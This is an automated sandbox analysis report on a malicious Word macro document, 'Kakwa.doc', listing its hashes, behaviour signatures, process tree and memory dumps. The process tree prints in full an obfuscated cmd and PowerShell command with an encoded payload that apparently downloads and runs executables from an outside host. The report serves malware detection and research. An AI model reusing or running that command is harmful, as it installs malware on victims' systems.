Analysis

  • max time kernel
    118s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    03-03-2024 01:15

General

  • Target

    Spyware/Kakwa.doc

  • Size

    72KB

  • MD5

    9a039302b3f3109607dfa7c12cfbd886

  • SHA1

    9056556d0d63734e0c851ab549b05ccd28cf4abf

  • SHA256

    31ca294ddd253e4258a948cf4d4b7aaaa3e0aa1457556e0e62ee53c22b4eb6f0

  • SHA512

    8a174536b266b017962406076fe54ec3f4b625517b522875f233cd0415d5d7642a1f8ff980fb42d14dab1f623e3f91a735adefa2b9276d1622fa48e76952d83c

  • SSDEEP

    768:jpXWjJYl3KBMOOqIcWS6bMr3kQc5Ch6KEBTOfz4:jFqOdLS6D5Ch6KEMfz

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Spyware\Kakwa.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2084
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C p^ow^Ers^HE^lL -e WwBzAFkAUwBUAGUATQAuAFQARQB4AHQALgBFAE4AYwBvAGQASQBuAEcAXQA6ADoAVQBuAEkAYwBvAGQAZQAuAEcARQBUAHMAVAByAEkAbgBHACgAWwBTAHkAcwB0AGUATQAuAGMATwBuAFYAZQByAHQAXQA6ADoARgByAG8AbQBCAEEAUwBFADYANABzAHQAcgBpAE4ARwAoACIAZABBAEIAeQBBAEgAawBBAGUAdwBCAG0AQQBHADgAQQBjAGcAQQBnAEEAQwBnAEEASgBBAEIAcABBAEQAMABBAE0AUQBBADcAQQBDAEEAQQBKAEEAQgBwAEEAQwBBAEEATABRAEIAcwBBAEcAVQBBAEkAQQBBAHgAQQBEAEEAQQBPAHcAQQBnAEEAQwBRAEEAYQBRAEEAcgBBAEMAcwBBAEsAUQBBAGcAQQBIAHMAQQBKAEEAQgBwAEEAQwB3AEEASQBnAEIAZwBBAEcANABBAEkAZwBCADkAQQBIADAAQQBZAHcAQgBoAEEASABRAEEAWQB3AEIAbwBBAEgAcwBBAGYAUQBBAGcAQQBHAFkAQQBkAFEAQgB1AEEARwBNAEEAZABBAEIAcABBAEcAOABBAGIAZwBBAGcAQQBIAGsAQQBaAFEAQgB0AEEARwBRAEEAYQBnAEEAZwBBAEMAZwBBAEkAQQBBAGsAQQBIAFUAQQBZAFEAQgAyAEEASABVAEEASQBBAEEAcwBBAEMAQQBBAEoAQQBCAHcAQQBIAFkAQQBhAEEAQgBuAEEAQwBBAEEASwBRAEEATgBBAEEAbwBBAGUAdwBCAHAAQQBFADAAQQBjAEEAQgB2AEEARgBJAEEAZABBAEEAdABBAEUAMABBAFQAdwBCAEUAQQBGAFUAQQBUAEEAQgBsAEEAQwBBAEEAUQBnAEIASgBBAEgAUQBBAGMAdwBCAFUAQQBIAEkAQQBRAFEAQgB1AEEARgBNAEEAUgBnAEIAbABBAEgASQBBAE8AdwBBAE4AQQBBAG8AQQBjAHcAQgAwAEEARwBFAEEAVQBnAEIAMABBAEMAMABBAFkAZwBCAHAAQQBIAFEAQQBVAHcAQgBVAEEASABJAEEAUQBRAEIATwBBAEYATQBBAFIAZwBCAGwAQQBGAEkAQQBJAEEAQQB0AEEASABNAEEAVAB3AEIAMQBBAEYASQBBAFkAdwBCAEYAQQBDAEEAQQBKAEEAQgAxAEEARwBFAEEAZABnAEIAMQBBAEMAQQBBAEwAUQBCAGsAQQBFAFUAQQBjAHcAQgBVAEEARwBrAEEAVABnAEIAaABBAEgAUQBBAFMAUQBCAHYAQQBHADQAQQBJAEEAQQBrAEEASABBAEEAZABnAEIAbwBBAEcAYwBBAE8AdwBBAGcAQQBDAFkAQQBJAEEAQQBrAEEASABBAEEAZABnAEIAbwBBAEcAYwBBAE8AdwBCADkAQQBBADAAQQBDAGcAQgAwAEEASABJAEEAZQBRAEIANwBBAEMAUQBBAFoAQQBCADQAQQBIAG8AQQBaAGcAQgA0AEEASABNAEEAYgBnAEIAcQBBAEgAZwBBAFAAUQBCAGIAQQBFAFUAQQBUAGcAQgAyAEEARQBrAEEAVQBnAEIAdgBBAEUANABBAGIAUQBCAEYAQQBHADQAQQBkAEEAQgBkAEEARABvAEEATwBnAEIAbgBBAEUAVQBBAGQAQQBCAEcAQQBHADgAQQBUAEEAQgBFAEEARQBVAEEAYwBnAEIAUQBBAEUARQBBAFYAQQBCAG8AQQBDAGcAQQBKAHcAQgBOAEEARgBrAEEAUgBBAEIAUABBAEcATQBBAFYAUQBCAE4AQQBHAFUAQQBUAGcAQgBVAEEASABNAEEASgB3AEEAcABBAEMAcwBBAEoAdwBCAGMAQQBIAFUAQQBhAGcAQgBvAEEARwA0AEEAWQB3AEIAcgBBAEcARQBBAGEAdwBCADMAQQBHAEUAQQBMAGcAQgBsAEEASABnAEEAWgBRAEEAbgBBAEQAcwBBAEQAUQBBAEsAQQBIAGsAQQBaAFEAQgB0AEEARwBRAEEAYQBnAEEAZwBBAEMAYwBBAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcAMABBAFoAUQBCAG4AQQBHAEUAQQBZAGcAQgA1AEEASABRAEEAWgBRAEIAdABBAEcARQBBAGIAZwBCADAAQQBHADgAQQBiAFEAQQB1AEEARwBNAEEAYgB3AEIAdABBAEMAOABBAGIAQQBCADEAQQBHAE0AQQBhAHcAQQB2AEEASABJAEEAWgBRAEIAdABBAEgASQBBAFkAUQBCAGgAQQBIAFEAQQBMAGcAQgBsAEEASABnAEEAWgBRAEEAbgBBAEMAQQBBAEoAQQBCAGsAQQBIAGcAQQBlAGcAQgBtAEEASABnAEEAYwB3AEIAdQBBAEcAbwBBAGUAQQBBADcAQQBBADAAQQBDAGcAQQBrAEEARwA0AEEAYQBnAEIAbgBBAEgARQBBAGUAZwBCAHkAQQBEADAAQQBXAHcAQgBGAEEARwA0AEEAZABnAEIAcABBAEgASQBBAFQAdwBCAHUAQQBFADAAQQBaAFEAQgBPAEEASABRAEEAWABRAEEANgBBAEQAbwBBAFoAdwBCAEYAQQBIAFEAQQBaAGcAQgBQAEEARwB3AEEAWgBBAEIAbABBAEYASQBBAGMAQQBCAEIAQQBIAFEAQQBTAEEAQQBvAEEAQwBjAEEAVABRAEIAWgBBAEgAQQBBAGEAUQBCAEQAQQBGAFEAQQBWAFEAQgB5AEEARQBVAEEAVQB3AEEAbgBBAEMAawBBAEsAdwBBAG4AQQBGAHcAQQBhAEEAQgBoAEEARwBvAEEAWQBRAEIAQQBBAEcARQBBAGMAdwBCAG8AQQBHAEUAQQBhAEEAQgBoAEEASABNAEEATABnAEIAbABBAEgAZwBBAFoAUQBBAG4AQQBEAHMAQQBEAFEAQQBLAEEASABrAEEAWgBRAEIAdABBAEcAUQBBAGEAZwBBAGcAQQBDAGMAQQBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHADAAQQBaAFEAQgBuAEEARwBFAEEAWQBnAEIANQBBAEgAUQBBAFoAUQBCAHQAQQBHAEUAQQBiAGcAQgAwAEEARwA4AEEAYgBRAEEAdQBBAEcATQBBAGIAdwBCAHQAQQBDADgAQQBiAEEAQgAxAEEARwBNAEEAYQB3AEEAdgBBAEgAQQBBAFkAUQBCAHkAQQBHAEUAQQBZAFEAQgAwAEEAQwA0AEEAWgBRAEIANABBAEcAVQBBAEoAdwBBAGcAQQBDAFEAQQBiAGcAQgBxAEEARwBjAEEAYwBRAEIANgBBAEgASQBBAE8AdwBBAE4AQQBBAG8AQQBmAFEAQgBqAEEARwBFAEEAZABBAEIAagBBAEcAZwBBAGUAdwBCADkAQQBBAD0APQAiACkAKQB8AEkARQBYAA==
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2656
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powErsHElL -e WwBzAFkAUwBUAGUATQAuAFQARQB4AHQALgBFAE4AYwBvAGQASQBuAEcAXQA6ADoAVQBuAEkAYwBvAGQAZQAuAEcARQBUAHMAVAByAEkAbgBHACgAWwBTAHkAcwB0AGUATQAuAGMATwBuAFYAZQByAHQAXQA6ADoARgByAG8AbQBCAEEAUwBFADYANABzAHQAcgBpAE4ARwAoACIAZABBAEIAeQBBAEgAawBBAGUAdwBCAG0AQQBHADgAQQBjAGcAQQBnAEEAQwBnAEEASgBBAEIAcABBAEQAMABBAE0AUQBBADcAQQBDAEEAQQBKAEEAQgBwAEEAQwBBAEEATABRAEIAcwBBAEcAVQBBAEkAQQBBAHgAQQBEAEEAQQBPAHcAQQBnAEEAQwBRAEEAYQBRAEEAcgBBAEMAcwBBAEsAUQBBAGcAQQBIAHMAQQBKAEEAQgBwAEEAQwB3AEEASQBnAEIAZwBBAEcANABBAEkAZwBCADkAQQBIADAAQQBZAHcAQgBoAEEASABRAEEAWQB3AEIAbwBBAEgAcwBBAGYAUQBBAGcAQQBHAFkAQQBkAFEAQgB1AEEARwBNAEEAZABBAEIAcABBAEcAOABBAGIAZwBBAGcAQQBIAGsAQQBaAFEAQgB0AEEARwBRAEEAYQBnAEEAZwBBAEMAZwBBAEkAQQBBAGsAQQBIAFUAQQBZAFEAQgAyAEEASABVAEEASQBBAEEAcwBBAEMAQQBBAEoAQQBCAHcAQQBIAFkAQQBhAEEAQgBuAEEAQwBBAEEASwBRAEEATgBBAEEAbwBBAGUAdwBCAHAAQQBFADAAQQBjAEEAQgB2AEEARgBJAEEAZABBAEEAdABBAEUAMABBAFQAdwBCAEUAQQBGAFUAQQBUAEEAQgBsAEEAQwBBAEEAUQBnAEIASgBBAEgAUQBBAGMAdwBCAFUAQQBIAEkAQQBRAFEAQgB1AEEARgBNAEEAUgBnAEIAbABBAEgASQBBAE8AdwBBAE4AQQBBAG8AQQBjAHcAQgAwAEEARwBFAEEAVQBnAEIAMABBAEMAMABBAFkAZwBCAHAAQQBIAFEAQQBVAHcAQgBVAEEASABJAEEAUQBRAEIATwBBAEYATQBBAFIAZwBCAGwAQQBGAEkAQQBJAEEAQQB0AEEASABNAEEAVAB3AEIAMQBBAEYASQBBAFkAdwBCAEYAQQBDAEEAQQBKAEEAQgAxAEEARwBFAEEAZABnAEIAMQBBAEMAQQBBAEwAUQBCAGsAQQBFAFUAQQBjAHcAQgBVAEEARwBrAEEAVABnAEIAaABBAEgAUQBBAFMAUQBCAHYAQQBHADQAQQBJAEEAQQBrAEEASABBAEEAZABnAEIAbwBBAEcAYwBBAE8AdwBBAGcAQQBDAFkAQQBJAEEAQQBrAEEASABBAEEAZABnAEIAbwBBAEcAYwBBAE8AdwBCADkAQQBBADAAQQBDAGcAQgAwAEEASABJAEEAZQBRAEIANwBBAEMAUQBBAFoAQQBCADQAQQBIAG8AQQBaAGcAQgA0AEEASABNAEEAYgBnAEIAcQBBAEgAZwBBAFAAUQBCAGIAQQBFAFUAQQBUAGcAQgAyAEEARQBrAEEAVQBnAEIAdgBBAEUANABBAGIAUQBCAEYAQQBHADQAQQBkAEEAQgBkAEEARABvAEEATwBnAEIAbgBBAEUAVQBBAGQAQQBCAEcAQQBHADgAQQBUAEEAQgBFAEEARQBVAEEAYwBnAEIAUQBBAEUARQBBAFYAQQBCAG8AQQBDAGcAQQBKAHcAQgBOAEEARgBrAEEAUgBBAEIAUABBAEcATQBBAFYAUQBCAE4AQQBHAFUAQQBUAGcAQgBVAEEASABNAEEASgB3AEEAcABBAEMAcwBBAEoAdwBCAGMAQQBIAFUAQQBhAGcAQgBvAEEARwA0AEEAWQB3AEIAcgBBAEcARQBBAGEAdwBCADMAQQBHAEUAQQBMAGcAQgBsAEEASABnAEEAWgBRAEEAbgBBAEQAcwBBAEQAUQBBAEsAQQBIAGsAQQBaAFEAQgB0AEEARwBRAEEAYQBnAEEAZwBBAEMAYwBBAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcAMABBAFoAUQBCAG4AQQBHAEUAQQBZAGcAQgA1AEEASABRAEEAWgBRAEIAdABBAEcARQBBAGIAZwBCADAAQQBHADgAQQBiAFEAQQB1AEEARwBNAEEAYgB3AEIAdABBAEMAOABBAGIAQQBCADEAQQBHAE0AQQBhAHcAQQB2AEEASABJAEEAWgBRAEIAdABBAEgASQBBAFkAUQBCAGgAQQBIAFEAQQBMAGcAQgBsAEEASABnAEEAWgBRAEEAbgBBAEMAQQBBAEoAQQBCAGsAQQBIAGcAQQBlAGcAQgBtAEEASABnAEEAYwB3AEIAdQBBAEcAbwBBAGUAQQBBADcAQQBBADAAQQBDAGcAQQBrAEEARwA0AEEAYQBnAEIAbgBBAEgARQBBAGUAZwBCAHkAQQBEADAAQQBXAHcAQgBGAEEARwA0AEEAZABnAEIAcABBAEgASQBBAFQAdwBCAHUAQQBFADAAQQBaAFEAQgBPAEEASABRAEEAWABRAEEANgBBAEQAbwBBAFoAdwBCAEYAQQBIAFEAQQBaAGcAQgBQAEEARwB3AEEAWgBBAEIAbABBAEYASQBBAGMAQQBCAEIAQQBIAFEAQQBTAEEAQQBvAEEAQwBjAEEAVABRAEIAWgBBAEgAQQBBAGEAUQBCAEQAQQBGAFEAQQBWAFEAQgB5AEEARQBVAEEAVQB3AEEAbgBBAEMAawBBAEsAdwBBAG4AQQBGAHcAQQBhAEEAQgBoAEEARwBvAEEAWQBRAEIAQQBBAEcARQBBAGMAdwBCAG8AQQBHAEUAQQBhAEEAQgBoAEEASABNAEEATABnAEIAbABBAEgAZwBBAFoAUQBBAG4AQQBEAHMAQQBEAFEAQQBLAEEASABrAEEAWgBRAEIAdABBAEcAUQBBAGEAZwBBAGcAQQBDAGMAQQBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHADAAQQBaAFEAQgBuAEEARwBFAEEAWQBnAEIANQBBAEgAUQBBAFoAUQBCAHQAQQBHAEUAQQBiAGcAQgAwAEEARwA4AEEAYgBRAEEAdQBBAEcATQBBAGIAdwBCAHQAQQBDADgAQQBiAEEAQgAxAEEARwBNAEEAYQB3AEEAdgBBAEgAQQBBAFkAUQBCAHkAQQBHAEUAQQBZAFEAQgAwAEEAQwA0AEEAWgBRAEIANABBAEcAVQBBAEoAdwBBAGcAQQBDAFEAQQBiAGcAQgBxAEEARwBjAEEAYwBRAEIANgBBAEgASQBBAE8AdwBBAE4AQQBBAG8AQQBmAFEAQgBqAEEARwBFAEEAZABBAEIAagBBAEcAZwBBAGUAdwBCADkAQQBBAD0APQAiACkAKQB8AEkARQBYAA==
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2564
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2936

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      a23ec5858cd801b4a7ff92fc4b35b1c0

      SHA1

      5bc824d6c71ad8123d06273852e2d8b8be5e2b65

      SHA256

      030e8353cd7a0ae43536d6b444df2a8bdc1ec2eca29952b2899f2c6ae5d01ac8

      SHA512

      0109fb5a768e30f4a02d4261c48af4bd4a987726178e756789f0f88609a1bfec2984538855e3842faed7520f64d6cfe79834aa1ea7a75fb2a0d661e96326273a

    • memory/2084-40-0x0000000000660000-0x0000000000760000-memory.dmp

      Filesize

      1024KB

    • memory/2084-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2084-5-0x0000000000660000-0x0000000000760000-memory.dmp

      Filesize

      1024KB

    • memory/2084-6-0x0000000000660000-0x0000000000760000-memory.dmp

      Filesize

      1024KB

    • memory/2084-9-0x0000000005890000-0x0000000005990000-memory.dmp

      Filesize

      1024KB

    • memory/2084-14-0x0000000005890000-0x0000000005990000-memory.dmp

      Filesize

      1024KB

    • memory/2084-15-0x0000000005890000-0x0000000005990000-memory.dmp

      Filesize

      1024KB

    • memory/2084-57-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2084-58-0x0000000070BFD000-0x0000000070C08000-memory.dmp

      Filesize

      44KB

    • memory/2084-2-0x0000000070BFD000-0x0000000070C08000-memory.dmp

      Filesize

      44KB

    • memory/2084-42-0x0000000005890000-0x0000000005990000-memory.dmp

      Filesize

      1024KB

    • memory/2084-41-0x0000000005890000-0x0000000005990000-memory.dmp

      Filesize

      1024KB

    • memory/2084-0-0x000000002F1A1000-0x000000002F1A2000-memory.dmp

      Filesize

      4KB

    • memory/2084-38-0x0000000070BFD000-0x0000000070C08000-memory.dmp

      Filesize

      44KB

    • memory/2564-37-0x000000006A4E0000-0x000000006AA8B000-memory.dmp

      Filesize

      5.7MB

    • memory/2564-27-0x0000000002700000-0x0000000002740000-memory.dmp

      Filesize

      256KB

    • memory/2564-19-0x000000006A4E0000-0x000000006AA8B000-memory.dmp

      Filesize

      5.7MB

    • memory/2564-24-0x000000006A4E0000-0x000000006AA8B000-memory.dmp

      Filesize

      5.7MB

    • memory/2564-26-0x0000000002700000-0x0000000002740000-memory.dmp

      Filesize

      256KB

    • memory/2564-25-0x0000000002700000-0x0000000002740000-memory.dmp

      Filesize

      256KB